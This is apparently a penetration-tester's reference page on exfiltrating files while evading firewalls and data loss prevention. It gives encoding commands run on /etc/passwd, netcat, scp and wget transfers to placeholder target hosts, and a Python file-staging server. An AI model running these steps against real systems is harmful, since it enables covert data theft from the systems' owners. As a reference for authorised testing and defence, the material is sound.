Always ensure you have explicit permission to access any computer system before using any of the techniques contained in these documents. You accept full responsibility for your actions by applying any knowledge gained here.
Not much here yet...please feel free to contribute at .
The first step to exfiltration is to avoid being caught. This means avoiding firewalls, data loss prevention, email filters, and more. Encoding/encrypting your payload is a good way to do this.
Preparing files for transport
Base64 encode a file
base64 -w0 $file
Base64 decode a file
base64 -d $file
Binary files transfer badly over a terminal connection. There are many ways to convert a binary into base64 or similar and make the file terminal friendly. We can then use a technique described further on to transfer a file to and from a remote system using nothing else but the shell/terminal as a transport medium (e.g. no separate connection).
Encode:
$ uuencode /etc/passwd passwd-COPY
begin 644 passwd-COPY
356)U;G1U(#$X+C`T+C(@3%13"@``
`
end
Cut & paste the output (4 lines, starting with 'begin 644 filename') into uudecode to decode:
$ uudecode
begin 644 passwd-COPY
356)U;G1U(#$X+C`T+C(@3%13"@``
`
end
Openssl can also be used to encode files for transport
Encode:
$ openssl base64 < /etc/passwd
Cut & paste the output then transfer and decode:
$ openssl base64 -d > passwd-COPY
You can also use xxd to hex-encode files.
First encode with this command:
$ xxd -p < /etc/passwd
Cut & paste the output into this command: Decode:
$ xxd -p -r passwd-COPY
shar
Use shar to create a self-extracting shell script, which is in text format and can be copied/mailed:
shar *.py *.c > exfil.shar
Transfer exfil.shar to the remote system by any means and execute it:
chmod +x exfil.shar
./exfil.shar
tar
A tar file is similar to a standard zip archive
tar cfz - *.py *.c | openssl base64 > exfil.tgz.b64
Transfer exfil.tgz.b64 to the remote system and decode:
openssl base64 -d < exfil.tgz.b64 | tar xfz -
HTTP/HTTPS
One of the easier ways to transfer a file as most devices have web access. Start by finding a directory on the target that you can write to.
# find / -type d \( -perm -g+w -or -perm -o+w \) -exec ls -adl {} \;
# wget http://<url> -O url.txt -o /dev/null
Curl has the benefit of being able to transfer with IMAP, POP3, SCP, SFTP, SMB, SMTP, TELNET, TFTP< and other protocols. Experimentation may be needed to figure out what is blocked/allowed by the firewall.
Get file
# scp user@<remoteip>:/tmp/file /tmp/file
Put file
# scp /tmp/file user@<remoteIP>:/tmp/file
NetCat from target
#start listener to recieve file
nc -nvlp 55555 > file
#send file to listening system
nc $target_ip 55555 < file
Python HTTP server script
#!/usr/bin/env python3
import argparse
from http.server import HTTPServer, SimpleHTTPRequestHandler
import os
import signal
import sys
def list_files(directory, port):
GN = '\033[92m' # Green
CYAN = '\033[96m' # Cyan
RES = '\033[0m' # Reset
print(f"{GN}Files available for download:{RES}")
for file in os.listdir(directory):
if os.path.isfile(os.path.join(directory, file)):
print(f"{CYAN}wget http://localhost:{port}/{file} -O {file}{RES}")
def handle_interrupt(signal, frame):
print("\nServer has been shut down gracefully.")
sys.exit(0)
def main():
parser = argparse.ArgumentParser(description="Simple HTTP Server for file sharing.")
parser.add_argument("-p", "--port", type=int, default=8099, help="Port to run the HTTP server on (default: 8099)")
parser.add_argument("-d", "--directory", type=str, default=os.getcwd(), help="Directory to serve files from (default: current working directory)")
parser.add_argument("-l", "--links", action="store_true", help="Show wget links for files being served")
args = parser.parse_args()
signal.signal(signal.SIGINT, handle_interrupt)
print(f"\nStarting HTTP server on port {args.port}, serving files from {args.directory}\n")
os.chdir(args.directory)
server_address = ('', args.port)
httpd = HTTPServer(server_address, SimpleHTTPRequestHandler)
if args.links:
list_files(args.directory, args.port)
httpd.serve_forever()
if __name__ == "__main__":
main()